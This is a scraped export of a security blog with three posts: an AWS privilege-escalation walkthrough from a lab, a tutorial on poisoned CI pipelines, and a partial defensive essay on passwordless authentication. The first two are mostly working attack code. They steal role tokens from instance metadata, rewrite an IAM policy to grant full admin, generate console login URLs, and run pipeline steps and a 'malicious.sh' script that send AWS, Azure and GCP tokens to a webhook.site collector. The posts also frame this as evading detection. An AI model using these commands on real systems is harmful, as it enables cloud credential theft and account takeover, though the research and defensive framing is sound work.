cloudformation:ListStacks permission, and there is a high chance we have cloudformation:DescribeStacks as well. Additionally, the stack name prod-app-platform and its description seem very similar to the vulnerable role we found, Prod-App-ObservabilityRole. Let&rsquo;s describe the stack.\naws cloudformation describe-stacks --stack-name prod-app-platform { &#34;Stacks&#34;: [ { &#34;StackId&#34;: &#34;arn:aws:cloudformation:us-east-1:138300869066:stack\/prod-app-platform\/fb0bf580-34a1-11f1-a39d-0afff3794177&#34;, &#34;StackName&#34;: &#34;prod-app-platform&#34;, &#34;Description&#34;: &#34;Application observability with legacy access policy used during early development&#34;, &#34;Parameters&#34;: [ { &#34;ParameterKey&#34;: &#34;AdminUsername&#34;, &#34;ParameterValue&#34;: &#34;admin&#34; }, { &#34;ParameterKey&#34;: &#34;LatestAmiId&#34;, &#34;ParameterValue&#34;: &#34;\/aws\/service\/ami-amazon-linux-latest\/al2023-ami-kernel-default-x86_64&#34;, &#34;ResolvedValue&#34;: &#34;ami-0ea87431b78a82070&#34; }, { &#34;ParameterKey&#34;: &#34;AdminPassword&#34;, &#34;ParameterValue&#34;: &#34;NrBZmb&gt;e;r7!Qaop&#34; } ], &#34;CreationTime&#34;: &#34;2026-04-10T05:56:13.212000+00:00&#34;, &#34;RollbackConfiguration&#34;: {}, &#34;StackStatus&#34;: &#34;CREATE_COMPLETE&#34;, &#34;DisableRollback&#34;: false, &#34;NotificationARNs&#34;: [], &#34;Capabilities&#34;: [ &#34;CAPABILITY_NAMED_IAM&#34; ], &#34;Outputs&#34;: [ { &#34;OutputKey&#34;: &#34;RoleName&#34;, &#34;OutputValue&#34;: &#34;Prod-App-ObservabilityRole&#34;, &#34;Description&#34;: &#34;Attached IAM Role&#34; }, { &#34;OutputKey&#34;: &#34;InstanceId&#34;, &#34;OutputValue&#34;: &#34;i-0b5a1ac3bee25dbf7&#34;, &#34;Description&#34;: &#34;EC2 Instance ID&#34; }, { &#34;OutputKey&#34;: &#34;PublicIP&#34;, &#34;OutputValue&#34;: &#34;3.237.26.86&#34;, &#34;Description&#34;: &#34;Public IP of instance&#34; }, { &#34;OutputKey&#34;: &#34;PrivateIP&#34;, &#34;OutputValue&#34;: &#34;172.31.79.7&#34;, &#34;Description&#34;: &#34;Private IP of instance&#34; }, { &#34;OutputKey&#34;: &#34;SSHUsername&#34;, &#34;OutputValue&#34;: &#34;admin&#34;, &#34;Description&#34;: &#34;Username for SSH&#34; }, { &#34;OutputKey&#34;: &#34;SSHPassword&#34;, &#34;OutputValue&#34;: &#34;NrBZmb&gt;e;r7!Qaop&#34;, &#34;Description&#34;: &#34;Password for SSH&#34; } ], &#34;Tags&#34;: [], &#34;EnableTerminationProtection&#34;: false, &#34;DriftInformation&#34;: { &#34;StackDriftStatus&#34;: &#34;NOT_CHECKED&#34; } } ] } Wow. They definitely do not follow cybersecurity principles. It is clear they do not have a Blue Team, or at least no one is watching this account. I think we can go aggressive and bring the company to its knees. Let&rsquo;s pivot to the EC2 instance and check if it uses the vulnerable role.\n[admin@ip-172-31-79-7 ~]$ aws sts get-caller-identity { &#34;UserId&#34;: &#34;AROASAM27ZHFE6N63UTWC:i-0b5a1ac3bee25dbf7&#34;, &#34;Account&#34;: &#34;138300869066&#34;, &#34;Arn&#34;: &#34;arn:aws:sts::138300869066:assumed-role\/Prod-App-ObservabilityRole\/i-0b5a1ac3bee25dbf7&#34; } Let\u2019s exfiltrate the role token to continue exploitation from our controlled environment and avoid detection by runtime security. This is an aggressive way of token exfiltration, but even if the cloud is watched, the Blue Team might have security controls on the EC2 itself. It is much more &ldquo;OpsSec&rdquo; to work from our controlled environment.\nAlternatively, if we feel the cloud is heavily monitored, a better OpsSec way is to create a secure tunnel and proxy traffic through the compromised EC2 (&ldquo;BYOT&rdquo;).\nTOKEN=$(curl -s -X PUT &#34;http:\/\/169.254.169.254\/latest\/api\/token&#34; \\ -H &#34;X-aws-ec2-metadata-token-ttl-seconds: 21600&#34;) ROLE=$(curl -s -H &#34;X-aws-ec2-metadata-token: $TOKEN&#34; \\ http:\/\/169.254.169.254\/latest\/meta-data\/iam\/security-credentials\/Prod-App-ObservabilityRole) [admin@ip-172-31-79-7 ~]$ echo $ROLE { &#34;Code&#34; : &#34;Success&#34;, &#34;LastUpdated&#34; : &#34;2026-04-10T07:48:35Z&#34;, &#34;Type&#34; : &#34;AWS-HMAC&#34;, &#34;AccessKeyId&#34; : &#34;ASIASAM27ZHFGMPD7WUD&#34;, &#34;SecretAccessKey&#34; : &#34;z9NhqRSJR2BlGtUdQVLQTRV5Y+4iqwImCpAMwQZR&#34;, &#34;Token&#34; : &#34;IQoJb3JpZ2luX2VjEGAaCXVzLWVhc3QtMSJGMEQCIBUNRXJSjPWi2Xv\/+cTAApVWGbCH8KqMzOlMh8jQVueeAiAeaLcgEx7hjK5KYJUM0+YeybGAWSbH16aCRVmEL9OANyq7BQgpEAAaDDEzODMwMDg2OTA2NiIMO5bV9DQVWbITs7JBKpgFQ0+2COTNOr7EWWyH3J12s782op2pZYGDXOO\/SN4djxx3aYQu6oKCmf77wbr5MaYBHtgrnSJgSXkecv374jvbuo8XV1CRkaPUziHvsdGiI8u4tmoVNYoLnvRxF8ftMywej\/uTseBF+nlD2fiWR1CgaxkFMCWnMSSvXXwCfC145KfPGsK2yhJvuda1\/I1jej9CefDecQRJWismT19GPF8A5DIX3jG1WSrK44+MH\/\/rIzfL6q1K6RY2\/P8U6ZcEqCN2efaPC1xfeVgPGJdggDQBrkGBo5PIBcMXGrlPiYVV6nXJ922V7PwrPW98Mfg1WdPACPooxMnms181UiFKI8e52ClDD5OJJdYtFgpG3+zB721QrchszYCUuAWz7MHov0YymvsGYd+L5a2KdtLehGmbcAd+S1fyY8rLLqZ9TWiajYGvOzxkg7XFNrUmA6HOOkJdwLXK4wIX6nbzCJjymaWHl3TKXD6oGKWJoAtYQBW3K7\/1W6OSkXSD59ElsnmvDvge+taS3d+aZ7MWFX+4+MjGjb\/eoGCda31bIIEZwyFvG6\/u05AjTnOMUYn\/IFlQtFoFskVrqWrBBWZ\/C\/PvIEdx9ZjDnYbRnrRc4V3QktnCmX+4sF8DtrZYrYGRRkngc1Zo7\/+WSs15MnIY8a\/4BXTETz3\/bYzcjvfUzkagM6s2UhIHohlAQqJC3O3CM4rI8gvxJAOpTA2Dgw5V+CkgfqBUlPxj+XNFY4Q+Vl61XEe7zd4PGDqRHbDzOT3Z9CMoMsCpK+y6iNEqZg+wW2\/Muq2RKCRDs0Rm4vDd0PUVCLZD\/XaveTOGcUJG9NQDxX7Vm1X0urtNLQFXtTH2sdCyg4GINhKBuMqqy2J0Jlt7ORJgGl\/FlV5d8DiBLTDW1uLOBjqyAUAxabVJQwWD3LvhrtPY\/ZOkCg22O5w8vaScOm0wpOqvpltefPSN0vfBLLLiQXS520Gn05UlxIIAU8RXlKN\/bma+0oEtvESfzlHsidSyZEo75A9J2TBmBEPdk\/BVs6l4K4+\/YcD9pQjWs21x3AwuQPZLdhQ9UKH3xRRz9bLEiEHLmKe\/EQuSBDJr8AoKrpXAK+g5gz7urUTxbmg\/9kHC8kJTjTsM9S11spDthgB5xIrWVYk=&#34;, &#34;Expiration&#34; : &#34;2026-04-10T14:04:08Z&#34; } Now, let&rsquo;s setup the exfiltrated token and move to Privilege Escalation. We will rollback the policy and create a new version with full permissions.\nexport AWS_DEFAULT_REGION=us-east-1 export AWS_ACCESS_KEY_ID=&#34;ASIASAM27ZHFGMPD7WUD&#34; export AWS_SECRET_ACCESS_KEY=&#34;z9NhqRSJR2BlGtUdQVLQTRV5Y+4iqwImCpAMwQZR&#34; export AWS_SESSION_TOKEN=&#34;IQoJb3JpZ2luX2VjEGAaCXVzLWVhc3QtMSJGMEQCIBUNRXJSjPWi2Xv\/+cTAApVWGbCH8KqMzOlMh8jQVueeAiAeaLcgEx7hjK5KYJUM0+YeybGAWSbH16aCRVmEL9OANyq7BQgpEAAaDDEzODMwMDg2OTA2NiIMO5bV9DQVWbITs7JBKpgFQ0+2COTNOr7EWWyH3J12s782op2pZYGDXOO\/SN4djxx3aYQu6oKCmf77wbr5MaYBHtgrnSJgSXkecv374jvbuo8XV1CRkaPUziHvsdGiI8u4tmoVNYoLnvRxF8ftMywej\/uTseBF+nlD2fiWR1CgaxkFMCWnMSSvXXwCfC145KfPGsK2yhJvuda1\/I1jej9CefDecQRJWismT19GPF8A5DIX3jG1WSrK44+MH\/\/rIzfL6q1K6RY2\/P8U6ZcEqCN2efaPC1xfeVgPGJdggDQBrkGBo5PIBcMXGrlPiYVV6nXJ922V7PwrPW98Mfg1WdPACPooxMnms181UiFKI8e52ClDD5OJJdYtFgpG3+zB721QrchszYCUuAWz7MHov0YymvsGYd+L5a2KdtLehGmbcAd+S1fyY8rLLqZ9TWiajYGvOzxkg7XFNrUmA6HOOkJdwLXK4wIX6nbzCJjymaWHl3TKXD6oGKWJoAtYQBW3K7\/1W6OSkXSD59ElsnmvDvge+taS3d+aZ7MWFX+4+MjGjb\/eoGCda31bIIEZwyFvG6\/u05AjTnOMUYn\/IFlQtFoFskVrqWrBBWZ\/C\/PvIEdx9ZjDnYbRnrRc4V3QktnCmX+4sF8DtrZYrYGRRkngc1Zo7\/+WSs15MnIY8a\/4BXTETz3\/bYzcjvfUzkagM6s2UhIHohlAQqJC3O3CM4rI8gvxJAOpTA2Dgw5V+CkgfqBUlPxj+XNFY4Q+Vl61XEe7zd4PGDqRHbDzOT3Z9CMoMsCpK+y6iNEqZg+wW2\/Muq2RKCRDs0Rm4vDd0PUVCLZD\/XaveTOGcUJG9NQDxX7Vm1X0urtNLQFXtTH2sdCyg4GINhKBuMqqy2J0Jlt7ORJgGl\/FlV5d8DiBLTDW1uLOBjqyAUAxabVJQwWD3LvhrtPY\/ZOkCg22O5w8vaScOm0wpOqvpltefPSN0vfBLLLiQXS520Gn05UlxIIAU8RXlKN\/bma+0oEtvESfzlHsidSyZEo75A9J2TBmBEPdk\/BVs6l4K4+\/YcD9pQjWs21x3AwuQPZLdhQ9UKH3xRRz9bLEiEHLmKe\/EQuSBDJr8AoKrpXAK+g5gz7urUTxbmg\/9kHC8kJTjTsM9S11spDthgB5xIrWVYk=&#34; aws sts get-caller-identity { &#34;UserId&#34;: &#34;AROASAM27ZHFE6N63UTWC:i-0b5a1ac3bee25dbf7&#34;, &#34;Account&#34;: &#34;138300869066&#34;, &#34;Arn&#34;: &#34;arn:aws:sts::138300869066:assumed-role\/Prod-App-ObservabilityRole\/i-0b5a1ac3bee25dbf7&#34; } aws iam set-default-policy-version --policy-arn arn:aws:iam::138300869066:policy\/AppAccessPolicy --version-id v1 cat &lt;&lt;EOF &gt; admin.json { &#34;Version&#34;: &#34;2012-10-17&#34;, &#34;Statement&#34;: [ { &#34;Effect&#34;: &#34;Allow&#34;, &#34;Action&#34;: &#34;*&#34;, &#34;Resource&#34;: &#34;*&#34; } ] } EOF aws iam create-policy-version \\ --policy-arn arn:aws:iam::138300869066:policy\/AppAccessPolicy \\ --policy-document file:\/\/admin.json \\ --set-as-default Now we are Admin. Let&rsquo;s get straight AWS Console access with Admin privileges!\njson_creds=$(echo -n &#34;{\\&#34;sessionId\\&#34;:\\&#34;$AWS_ACCESS_KEY_ID\\&#34;,\\&#34;sessionKey\\&#34;:\\&#34;$AWS_SECRET_ACCESS_KEY\\&#34;,\\&#34;sessionToken\\&#34;:\\&#34;$AWS_SESSION_TOKEN\\&#34;}&#34;) federation_endpoint=&#34;https:\/\/signin.aws.amazon.com\/federation&#34; signin_token=$(curl -s &#34;$federation_endpoint&#34; --get --data-urlencode &#34;Action=getSigninToken&#34; --data-urlencode &#34;Session=$json_creds&#34; | jq -r &#39;.SigninToken&#39;) login_url=&#34;https:\/\/signin.aws.amazon.com\/federation?Action=login&amp;Issuer=SSO&amp;Destination=https:\/\/console.aws.amazon.com\/&amp;SigninToken=$signin_token&#34; echo &#34;$login_url&#34; Research During my research, I analyzed all 1,474 AWS-managed policies to find which ones include the following IAM permissions:\n&#34;iam:GetPolicy&#34;, &#34;iam:GetPolicyVersion&#34;, &#34;iam:GetRole&#34;, &#34;iam:GetRolePolicy&#34;, &#34;iam:ListAttachedRolePolicies&#34;, &#34;iam:ListRolePolicies&#34;, &#34;iam:ListRoles&#34; The results were as follows:\nFound 19 policies matching ALL criteria: - AdministratorAccess (arn:aws:iam::aws:policy\/AdministratorAccess) - IAMFullAccess (arn:aws:iam::aws:policy\/IAMFullAccess) - ReadOnlyAccess (arn:aws:iam::aws:policy\/ReadOnlyAccess) - IAMReadOnlyAccess (arn:aws:iam::aws:policy\/IAMReadOnlyAccess) - SecurityAudit (arn:aws:iam::aws:policy\/SecurityAudit) - SupportUser (arn:aws:iam::aws:policy\/job-function\/SupportUser) - SystemAdministrator (arn:aws:iam::aws:policy\/job-function\/SystemAdministrator) - AWSConfigServiceRolePolicy (arn:aws:iam::aws:policy\/aws-service-role\/AWSConfigServiceRolePolicy) - AccessAnalyzerServiceRolePolicy (arn:aws:iam::aws:policy\/aws-service-role\/AccessAnalyzerServiceRolePolicy) - AWS_ConfigRole (arn:aws:iam::aws:policy\/service-role\/AWS_ConfigRole) - AWSLambda_ReadOnlyAccess (arn:aws:iam::aws:policy\/AWSLambda_ReadOnlyAccess) - AWSLambda_FullAccess (arn:aws:iam::aws:policy\/AWSLambda_FullAccess) - AWSSupportServiceRolePolicy (arn:aws:iam::aws:policy\/aws-service-role\/AWSSupportServiceRolePolicy) - AWSResourceExplorerServiceRolePolicy (arn:aws:iam::aws:policy\/aws-service-role\/AWSResourceExplorerServiceRolePolicy) - AmazonLaunchWizardFullAccessV2 (arn:aws:iam::aws:policy\/AmazonLaunchWizardFullAccessV2) - AWSPartnerLedSupportReadOnlyAccess (arn:aws:iam::aws:policy\/AWSPartnerLedSupportReadOnlyAccess) - AIOpsAssistantPolicy (arn:aws:iam::aws:policy\/AIOpsAssistantPolicy) - AWSMcpServiceActionsFullAccess (arn:aws:iam::aws:policy\/AWSMcpServiceActionsFullAccess) - AIDevOpsAgentAccessPolicy (arn:aws:iam::aws:policy\/AIDevOpsAgentAccessPolicy) To be honest, all of these policy names seem logical except for AWSLambda_ReadOnlyAccess. What do you think? I&rsquo;m sure it needs some IAM permissions to function, but this level of access is confusing and feels like overkill. Now, are you interested to see which of these also have CloudFormation permissions? I ran another scan for these additional rights:\n&#34;iam:GetPolicy&#34;, &#34;iam:GetPolicyVersion&#34;, &#34;iam:GetRole&#34;, &#34;iam:GetRolePolicy&#34;, &#34;iam:ListAttachedRolePolicies&#34;, &#34;iam:ListRolePolicies&#34;, &#34;iam:ListRoles&#34;, &#34;cloudformation:DescribeStacks&#34;, &#34;cloudformation:ListStacks&#34;, &#34;cloudformation:ListStackResources&#34; Found 12 policies matching ALL criteria: - AdministratorAccess (arn:aws:iam::aws:policy\/AdministratorAccess) - ReadOnlyAccess (arn:aws:iam::aws:policy\/ReadOnlyAccess) - SecurityAudit (arn:aws:iam::aws:policy\/SecurityAudit) - SupportUser (arn:aws:iam::aws:policy\/job-function\/SupportUser) - AWSConfigServiceRolePolicy (arn:aws:iam::aws:policy\/aws-service-role\/AWSConfigServiceRolePolicy) - AWS_ConfigRole (arn:aws:iam::aws:policy\/service-role\/AWS_ConfigRole) - AWSLambda_ReadOnlyAccess (arn:aws:iam::aws:policy\/AWSLambda_ReadOnlyAccess) - AWSSupportServiceRolePolicy (arn:aws:iam::aws:policy\/aws-service-role\/AWSSupportServiceRolePolicy) - AWSPartnerLedSupportReadOnlyAccess (arn:aws:iam::aws:policy\/AWSPartnerLedSupportReadOnlyAccess) - AIOpsAssistantPolicy (arn:aws:iam::aws:policy\/AIOpsAssistantPolicy) - AWSMcpServiceActionsFullAccess (arn:aws:iam::aws:policy\/AWSMcpServiceActionsFullAccess) - AIDevOpsAgentAccessPolicy (arn:aws:iam::aws:policy\/AIDevOpsAgentAccessPolicy) After checking, I found that AWSLambda_ReadOnlyAccess has the cloudformation:ListStackResources permission, which the AWSLambda_FullAccess policy actually lacks. Think about that for a second: the &ldquo;Read-Only&rdquo; version gives you more visibility into the infrastructure stack than the &ldquo;Full Access&rdquo; version.\nI reached out to AWS , and here is what they say:\nConclusion The AWSLambda_ReadOnlyAccess policy perfectly illustrates the hidden risks of relying on default cloud provider configurations. While AWS designs these managed policies for ease of use and broad compatibility, they inherently violate the principle of least privilege. As demonstrated, seemingly benign &ldquo;read-only&rdquo; permissions for IAM and CloudFormation provide adversaries with the exact reconnaissance capabilities needed to map out an environment, identify misconfigurations (like the vulnerable Prod-App-ObservabilityRole), and execute a full account compromise.\nWhen I reported this finding to AWS, their response was telling. They determined that the policy is &ldquo;functioning according to design&rdquo; and stated that more precise permission scoping falls squarely within the &ldquo;customer responsibility framework.&rdquo; This highlights a critical reality in cloud security: AWS-managed policies are built for broad utility and backward compatibility, not for strict security hardening.\nTo defend against these vectors, organizations must move away from default AWS-managed policies. Implementing strict, custom IAM policies tailored to the specific needs of your applications is essential. Furthermore, relying on manual audits is difficult at scale; developing or utilizing automated policy analyzers to systematically evaluate permission sets against active IAM roles can drastically reduce your attack surface. Ultimately, don&rsquo;t let a &ldquo;read-only&rdquo; label lull you into a false sense of security\u2014enumeration is always the first step toward a breach.\n","permalink":"https:\/\/giomke.github.io\/posts\/awslambda-readonly\/","summary":"<h1 id=\"from-awslambda_readonlyaccess-to-full-compromise\">From AWSLambda_ReadOnlyAccess to Full Compromise<\/h1>\n<h2 id=\"introduction\">Introduction<\/h2>\n<p>In this blog post, I want to highlight the dangers of blindly using AWS-managed policies without verifying their underlying permissions.<\/p>\n<p>While building an AWS lab for Red and Blue teams and researching privilege escalation scenarios, I came across several interesting AWS-managed policies. A prime example is AWSLambda_ReadOnlyAccess. Despite its seemingly restrictive name, this policy grants far more read access than one might expect. Ideally, these permissions should be split or refined to better reflect their true scope.<\/p>","title":"From AWSLambda_ReadOnlyAccess to Full Compromise"},{"content":"Credential Theft via Direct Poisoned Pipeline Execution (Direct-PPE) Attacks on AWS, Azure, and GCP In this short blog post, I\u2019ll show how an attacker with existing access to a source code management (SCM) system can abuse malicious pipeline configurations to steal cloud tokens and escalate access across AWS, Azure, or GCP environments.\nDirect-PPE First, let\u2019s clarify what Direct Poisoned Pipeline Execution (Direct-PPE) means and outline the breach scenario we\u2019ll use to demonstrate how attackers can leverage it to further compromise cloud environments like AWS, Azure, and GCP.\nPoisoned Pipeline Execution (PPE) risks refer to the ability of an attacker with access to source control systems - and without access to the build environment, to manipulate the build process by injecting malicious code\/commands into the build pipeline configuration, essentially \u2018poisoning\u2019 the pipeline and running malicious code as part of the build process.\nWe have three types of PPE\nDirect PPE (D-PPE) : This occurs when an attacker gains direct access to the pipeline configuration. For example, they might obtain a personal access token (PAT), valid user credentials, or even a session cookie for the SCM platform, giving them the ability to modify and execute malicious changes in the pipeline configuration. Indirect PPE (I-PPE): This means the attacker doesn\u2019t have direct access to the pipeline configuration files but can still compromise the pipeline by injecting malicious code into files referenced by the configuration. Examples include Makefiles, test code, scripts, or automation tools that the pipeline relies on during execution. Public-PPE (3PE): This is often the most dangerous scenario. If the CI pipeline of a public repository automatically runs unreviewed code submitted by anonymous contributors, it becomes vulnerable to a Public PPE (3PE) attack. This can lead to exposure of internal assets\u2014such as secrets from private projects\u2014especially when the public repository\u2019s pipeline shares the same CI instance or infrastructure as private repositories. In the next section, we\u2019ll assume the breach has already occurred, the attacker has access to the SCM, access by having an authentication method to the organization\u2019s source code management. It may be a personal access token (PAT), an SSH key, or any other allowed authentication credential. An example of a method an attacker can use to achieve this technique is using a phishing attack against an organization. We\u2019ll explore how they can escalate privileges further to gain access to cloud environments.\nAWS Because we have access to the code repository, we can use the Direct PPE attack vector to enumerate the permissions under which the pipeline is running. This can be done by querying the Instance Metadata Service (IMDS) available in the cloud environment. In the example pipeline, I\u2019m using webhook.site to exfiltrate captured data.\nversion: 0.2 phases: pre_build: commands: - curl &#39;https:\/\/webhook.site\/1ec8cf1f-cfb6-4c43-a743-7368135c8bca&#39; -sH &#39;content-type:application\/json&#39; --data &#34;$(curl http:\/\/169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI)&#34; You can manually retrieve the temporary role credentials from inside a container by appending the environment variable to the IP address of the Amazon ECS container agent and running the curl command on the resulting string.\ncurl 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI This token and the role credentials are added to the agent&rsquo;s internal cache. The agent populates the environment variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI in the container with the URI of the credential ID (for example, \/v2\/credentials\/12345678-90ab-cdef-1234-567890abcdef).\nThe exfiltrated token can then be stored in environment variables and used with the AWS CLI to interact with the compromised cloud environment.\nAfter gaining initial access, you can begin enumerating the AWS environment to identify pivot points and locate weak spots that can be exploited for further privilege escalation or lateral movement.\nAzure We can easily exfiltrate the Azure DevOps agent access token, enumerate Azure DevOps projects, and search for additional secrets or clues to further escalate our privileges. If the pipeline configuration contains a service connection, as shown in the upcoming example, we can directly exfiltrate that service connection and pivot into Azure environments in a straightforward way.\n- task: AzureCLI@2 inputs: azureSubscription: $(azureSubscription) scriptType: bash scriptLocation: inlineScript inlineScript: | # Export Azure access token ACCESS_TOKEN=$(az account get-access-token --query accessToken -o tsv) SUB_ID=$(az account show --query id -o tsv) curl &#39;https:\/\/webhook.site\/1ec8cf1f-cfb6-4c43-a743-7368135c8bca&#39; -sH &#39;content-type: text\/plain&#39; --data &#34;ACCESS_TOKEN=$ACCESS_TOKEN SUB_ID=$SUB_ID&#34; Decode the JWT using JWT.io and under decoded payload section, note the value of field titled tid which will be the Account Id\/Tenant ID.\nTenant ID will also appear in other values as well. Additionally, subscription ID, resource group , and resource name will be present too. Install Azure PowerShell module with the below command\nInstall-Module -Name Az -Repository PSGallery -Force Run below PowerShell commands to authenticate with the Azure Cloud using the exfiltrated Identity Token and the Account ID (from decoding the JWT)\nWe have successfully established a connection to Azure, allowing us to continue with the post-exploitation process and expand our access within the environment!\nGCP Just like AWS and Azure, GCP also provides a metadata service. We can leverage it in the same way to retrieve and exfiltrate access tokens for further use in the attack chain.\nCreate a Shell script file named malicious.sh in the root directory of the source code. Using this file we\u2019ll exfiltrate the default service account token to the webhook dashboard.\n#!\/bin\/sh apt update &amp;&amp; apt install curl -y token=$(curl &#34;http:\/\/metadata.google.internal\/computeMetadata\/v1\/instance\/service-accounts\/default\/token&#34; -H &#34;Metadata-Flavor: Google&#34;) echo $token &gt; token.txt curl -X POST &#39;https:\/\/webhook.site\/1ec8cf1f-cfb6-4c43-a743-7368135c8bca&#39; -sH &#39;content-type:application\/json&#39; --data &#39;@token.txt&#39; Create a new build stage in cloudbuild.yaml file with the below configurations.\n- name: &#39;ubuntu&#39; args: [&#39;bash&#39;, &#39;.\/malicious.sh&#39;] Use below command to inspect the details of an OAuth 2.0 access token issued by Google&rsquo;s IAM services.\ncurl https:\/\/oauth2.googleapis.com\/tokeninfo?access_token=&lt;EXFILTRATED_TOKEN&gt; Then we can enumerate the GCP project metadata with the below command. It will give us the Project ID &amp; other information.\nWe have successfully established a connection to GCP, allowing us to continue with the post-exploitation process and expand our access within the environment!\nSummary This post explains how attackers can abuse Direct Poisoned Pipeline Execution (Direct-PPE) to steal credentials and escalate privileges in AWS, Azure, and GCP environments. Direct-PPE occurs when an attacker gains access to a source code management (SCM) system (e.g., via stolen credentials or a PAT) and modifies the pipeline configuration to run malicious commands. Overall, the post highlights how attackers can pivot from SCM access to full cloud environment compromise using poisoned pipeline techniques.\n","permalink":"https:\/\/giomke.github.io\/posts\/directppe\/","summary":"<h1 id=\"credential-theft-via-direct-poisoned-pipeline-execution-direct-ppe-attacks-on-aws-azure-and-gcp\">Credential Theft via Direct Poisoned Pipeline Execution (Direct-PPE) Attacks on AWS, Azure, and GCP<\/h1>\n<p>In this short blog post, I\u2019ll show how an attacker with existing access to a source code management (SCM) system can abuse malicious pipeline configurations to steal cloud tokens and escalate access across AWS, Azure, or GCP environments.<\/p>\n<h2 id=\"direct-ppe\">Direct-PPE<\/h2>\n<p>First, let\u2019s clarify what Direct Poisoned Pipeline Execution (Direct-PPE) means and outline the breach scenario we\u2019ll use to demonstrate how attackers can leverage it to further compromise cloud environments like AWS, Azure, and GCP.<\/p>","title":"Credential Theft via Direct Poisoned Pipeline Execution (Direct-PPE) Attacks on AWS, Azure, and GCP"},{"content":"Introduction I\u2019ve noticed that many people in our field, even in 2025, still authenticate themselves and machines using old-fashioned way, such as passwords or long-term credentials. This short blog post takes elements from various resources to emphasize the importance of short-lived credentials for both humans and machines. The main focus of this blog is to promote the use of FIDO for user authentication and OIDC for machine authentication to avoid relying on long-term credentials.\nBackground As we all know, the oldest method we still use for authentication is the password. Over time, we&rsquo;ve developed various techniques to protect passwords, such as encryption methods for securing data at rest and during transit. We&rsquo;ve also started using passphrases and password managers, but the core issue of relying on passwords in the first place remains unchanged.\nInstead of passwords, we can use certificates. Just like password-based technologies such as RADIUS, WPA2, NTLM, LDAP, HTTP Basic Authentication, and others, there are also many authentication methods based on certificates, such as SSH, VPN, Smart Cards, and many more. However, just like passwords, if a certificate is stolen, it can be used for unauthorized access.\nAfter many breaches, phishing attacks, and leaked credentials, we began using two-factor authentication (2FA) methods such as TOTP, SMS, and email-based authentication. However, these methods are not phishing-resistant and can still be compromised using tools like Evilginx.\nFollowing the rise of credential stuffing and credential reuse attacks, password managers and services like Have I Been Pwned gained popularity. People started using password managers, but in my observation, only a small portion of people are using them, to be honest. The problem of long-lived credentials and password sprawl, however, still persists.\nThe problem persists for two main reasons. First, not all services support 2FA, and second, many legacy protocols and machines can&rsquo;t use 2FA the way humans do. Despite these steps, attack vectors have dramatically decreased, but breaches still continue due to long-term, static credentials. Regardless of password managers, secrets are leaked in many cases and remain valid until rotated, which is often difficult and painful. Secrets can be leaked during debugging, in logs, shell history, repositories, artifact servers, third-party breaches, or by malware.\nSo, where do we stand today, and what are better ways to authenticate ourselves?\nWith the help of Trusted Platform Module (TPM), we can securely store our secrets and leverage FIDO2 and WebAuthn to use passkeys and passwordless authentication. These methods are phishing-resistant, more secure, and offer a much more comfortable experience in many aspects. Once we authenticate and identify ourselves, we can use our Identity Provider (IdP) as a single sign-on (SSO) solution through protocols like OIDC or SAML 2.0. This provides a high-level overview of modern authentication, in my view.\nFor personal use, for example, you can use Windows Hello to authenticate on Google (by registering a passkey) and then use Google as your Identity Provider for other sites\u2014similar to the &ldquo;Continue with Google&rdquo; or &ldquo;Sign in with your Google account&rdquo; buttons on web login pages.\nFor businesses, you can use Windows Hello for Business to authenticate with your Azure Entra ID and use federation to access resources outside of your Azure environment.\nAuthentication in the Cloud AWS Both IAM Identity Center and AWS IAM support FIDO2 for authentication, providing a more secure and phishing-resistant method you can use. FIDO2 is a standard that includes CTAP2 and WebAuthn and is based on public key cryptography. FIDO credentials are phishing-resistant because they are unique to the website that the credentials were created such as AWS. AWS supports the two most common form factors for FIDO authenticators: built-in authenticators and security keys. Many modern computers and mobile phones have built-in authenticators, such as TouchID on Macbook or a Windows Hello-compatible camera. If your device has a FIDO-compatible built-in authenticator, you can use your fingerprint, face, or device pin as a second factor. Security keys are FIDO-compatible external hardware authenticators that you can purchase and connect to your device through USB, BLE, or NFC. When you\u2019re prompted for MFA, you simply complete a gesture with the key\u2019s sensor. Some examples of security keys include YubiKeys and Feitian keys, and the most common security keys create device-bound FIDO credentials. For a list of all FIDO-certified security keys, see FIDO Certified Products.\nFor personal use, you can use AWS FIDO2 authentication, but for enterprise environments, the recommended approach is to rely on a centralized identity provider. AWS recommends SEC02-BP04: Rely on a centralized identity provider.\nSince you might already have Azure Entra ID, it\u2019s a good choice for AWS authentication. You can integrate an external identity source by connecting your identity provider via SAML 2.0 and automatically provisioning users and groups using SCIM. Alternatively, you can connect to your Microsoft AD Directory using AWS Directory Service.\nOnce an identity source is configured, you can assign access to users and groups across AWS accounts by defining least-privilege policies in your permission sets. Your workforce users can then authenticate through your central identity provider to sign in to the AWS access portal and use single sign-on (SSO) for AWS accounts and cloud applications assigned to them.\nAdditionally, users can configure AWS CLI v2 to authenticate with Identity Center and obtain credentials to run AWS CLI commands. Identity Center also enables SSO access to AWS applications such as Amazon SageMaker AI Studio and AWS IoT SiteWise Monitor portals.\nAzure Imagine a world where users never type, change, or even know their passwords. Yes, it\u2019s possible! Users can sign in to Windows using Windows Hello for Business or FIDO2 security keys and seamlessly enjoy single sign-on (SSO) to Microsoft Entra ID and Active Directory resources.\nWindows Hello is an authentication technology that allows users to sign in to their Windows devices using biometric data, or a PIN, instead of a traditional password. It provides enhanced security through phish-resistant two-factor authentication, and built-in brute force protection. With FIDO\/WebAuthn, Windows Hello can also be used to sign in to supported websites, reducing the need to remember multiple complex passwords.\nLikewise, we can authenticate to Microsoft Entra ID using a Microsoft Entra-joined device with Windows Hello for Business and use Microsoft Entra ID as a centralized identity provider to access resources outside our organization\u2014for example, AWS resources.\nAll Microsoft Entra joined devices authenticate with Windows Hello for Business to Microsoft Entra ID the same way. The Windows Hello for Business trust type only impacts how the device authenticates to on-premises AD.\nPhase Description A Authentication begins when the user dismisses the lock screen, which triggers Winlogon to show the Windows Hello for Business credential provider. The user provides their Windows Hello gesture (PIN or biometrics). The credential provider packages these credentials and returns them to Winlogon. Winlogon passes the collected credentials to LSASS. LSASS passes the collected credentials to the Cloud Authentication security support provider, referred to as the Cloud AP provider. B The Cloud AP provider requests a nonce from Microsoft Entra ID. Microsoft Entra ID returns a nonce. The Cloud AP provider signs the nonce using the user&rsquo;s private key and returns the signed nonce to the Microsoft Entra ID. C Microsoft Entra ID validates the signed nonce using the user&rsquo;s securely registered public key against the nonce signature. Microsoft Entra ID then validates the returned signed nonce, and creates a PRT with session key that is encrypted to the device&rsquo;s transport key and returns it to the Cloud AP provider. D 